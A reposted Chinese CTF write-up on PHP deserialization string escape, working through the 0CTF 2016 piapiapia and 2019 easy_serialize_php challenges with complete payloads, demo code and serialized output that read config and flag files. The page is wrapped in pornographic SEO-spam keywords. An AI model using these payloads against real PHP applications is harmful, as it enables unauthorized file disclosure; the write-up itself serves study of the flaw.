老熟女激烈的高潮_日韩一级黄色录像_亚洲1区2区3区视频_精品少妇一区二区三区在线播放_国产欧美日产久久_午夜福利精品导航凹凸

重慶分公司,新征程啟航

為企業提供網站建設、域名注冊、服務器等服務

PHP反序列化字符串逃逸的示例分析

這篇文章將為大家詳細講解有關PHP反序列化字符串逃逸的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

為唐縣等地區用戶提供了全套網頁設計制作服務,及唐縣網站建設行業解決方案。主營業務為成都網站建設、網站建設、唐縣網站設計,以傳統方式定制建設網站,并提供域名空間備案等一條龍服務,秉承以專業、用心的態度為用戶提供真誠的服務。我們深信只要達到每一位用戶的要求,就會得到認可,從而選擇與我們長期合作。這樣,我們也可以走得更遠!

0CTF 2016piapiapia

  • 由于是代碼審計,直接訪問www.zip發現備份的源碼,有一下文件,flag就在config.php,因此讀取即可

class.php         //主要有MySQL類(mysql基本操作)和user類(繼承mysql實現功能點)
config.php        //環境配置
index.php         //登陸
profile.php       //查看自己上傳的文件
register.php      //注冊
update.php        //文件上傳

源碼分析

  • 然后分析代碼,我喜歡通過功能點來分析,既然有注冊,登陸,那么自然來看看SQL咯,發現class.phpmysql類的filter過濾函數,過濾了增刪查改,基本無望.

  • 后面就看看文件上傳,發現也對上傳的文件參數進行了限制,但是發現對文件進行了序列化處理,那么肯定有反序列化,在profile.php中發現對上傳的文件進行反序列化處理,并對文件$profile['photo']進行讀取.我們再回到文件上傳點,發現$profile['photo'] = 'upload/' . md5($file['name']);,但是我們無法獲取加密后的文件值,后面有又看到文件上傳是先序列化,再進過filter函數替換一些關鍵字,再反序列化,因此文件可能發生改變,因此可能有漏洞

payload構造

  • 我們知道,PHP反序列化時以;作為分隔點,}做為結束標志,根據長度來判斷讀取多少字符,我們無法控制$profile['photo']但是可以控制nickname,而nickname又進行了長度限制,strlen函數卻無法處理數組,因此用數組進行繞過即可我們在這里截斷,那么后面的則會被廢棄不再讀取,而我們要構造的的payload是,最開始的";}是為了閉合前面數組nickname{,后面的;}是為了截斷,讓反序列化結束,不再讀取后面的內容,當然這些都不能是字符哈.

";}s:5:"photo";s:10:"config.php";}

這時構造了payload,那么就要來計算溢出數量了,我們構造的payload長度為34,那么就要增加34個長度,由于where變成hacker會增加一個長度,那么我們就需要34個where,最終payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理解析

'01234567890',
    'email'=>'12345678@11.com',
    'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>
  • 輸出結果展示,最開始不用進過filter函數反序列化時,nickname數組的第一個值沒被截斷是一個整體wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},剛好204個長度,經過filter過濾函數后,where變成了hacker,反序列化的長度變化了,但是又只讀取204的長度,則s:5:"photo";s:10:"config.php";}";}就多出來了,作為另一個反序列化的其中一個元素,而末尾的'}又不是字符,因此被認為反序列化結束了,后面的內容被丟棄,因此可以任意讀取文件.

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {
  'phone' =>
  string(11) "01234567890"
  'email' =>
  string(15) "12345678@11.com"
  'nickname' =>
  array(1) {
    [0] =>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  'photo' =>
  string(10) "config.php"
}

安詢杯2019-easy_serialize_php

源碼

source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

分析

  • 源碼不多,我就習慣先通讀一遍再回溯可能出現的漏洞點,找可控參數.通讀完全發現可能存在的漏洞點:extract變量覆蓋,file_get_contents任意文件讀取.

  • 將變量$userinfo['img']逆推回去發現,是由參數img_path控制的,但是經過sha1加密,我們無法得知加密后內容,但結合前面的extract變量覆蓋,我們可以自己POST構造.

  • 構造了之后,會經過序列化filter函數替換一些字符(那么此時序列化后的數據則發生了變化,可能存在漏洞),再反序列化,讀取參數值.

payload構造

  • 我們任然利用序列化,經過過濾后長度發生變化來構造payload,首先明白序列化后,有三個元素,分別是img,user,function,而我們能控制的只有后面兩個,我們需要構造的payload是這樣的

f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
  • 但是不經任何改變則是這樣的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
  • 我還是利用截斷的思想不讓其讀取元素img的值,我們自己來構造這個值,只有兩個參數,必須在function哪里截斷,而這個反序列是長度遞減,那么就是選擇元素吞噬(吞噬的長度自己酌情參考,一般是到自己能控制的點就好)后面的長度,來構造自己的payload咯,我們就選user元素吧,len('";s:8:"function";s:10:"')的長度為23,但是我們無法構造23個長度,我們可以多吞噬一個,24個字符,那么就用6個flag就好,但是這樣后面的序列化就混亂了,我們就要添加自己的payload,并補全.雖然這樣補好了,但是只有兩個元素,這里需要三個元素,我們就再添加元素,并將后面的img進行截斷

a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
  • 截斷只需}即可,并且不為讀取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},這里我們新增了一個元素,因此吞噬后function元素消失了,隨便補充好元素即可.

原理解析

"flagflagflagflagflagflag",
    "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
    //"user"=>'guest',
    //"function"=>'show_image',
    "img"=>sha1(base64_encode('guest_img.png'))
);

print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));

?>
  • 輸出展示

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
    [user] => ";s:8:"function";s:62:"2
    [img] => ZDBnM19mMWFnLnBocA==
    [tql] => tql
)

關于“PHP反序列化字符串逃逸的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。


名稱欄目:PHP反序列化字符串逃逸的示例分析
分享鏈接:http://www.xueling.net.cn/article/pggocd.html

其他資訊

在線咨詢
服務熱線
服務熱線:028-86922220
TOP
主站蜘蛛池模板: 伊人91| 91制片厂色版在线观看 | 一级毛片在线视频免费观看 | 亚洲国产欧美国产综合久久 | 综合激情久久 | 狠狠搞狠狠操 | 色播久久人人爽人人爽人人片av | 国产一区二区三级 | 日本国产精品无码字幕在线观看 | 91干b| 青青草偷拍视频 | 激情欧美一区二区三区精品 | 国产视频久| 首页国产欧美日韩丝袜 | 国产激情久久久久久 | 日韩成人免费视频 | 亚洲自拍偷拍综合 | 国产一区二区三区成人久久片老牛 | av中文字幕无码免费看 | 我要看一级黄色 | 好吊色欧美一区二区三区视频 | 秀人网免费观看 | 爱爱网站免费 | 性xx无遮挡 | 交视频在线播放 | 浮生影视在线观看免费 | 久久第二页 | 99这里只有精品 | 国产精品成人AAAA网站女吊丝 | 99国产午夜精品 | 超碰在线中文字幕 | 天堂资源在线官网 | 欧美成人午夜性视频 | 97精品久久天干天天 | 成年人黄色一级片 | 免费一级性片 | 成人欧美一区二区三区色青冈 | 久久久噜噜噜久久人人看 | 超碰91在线观看 | 国产亚洲欧美bt | 四虎成人精品无码 |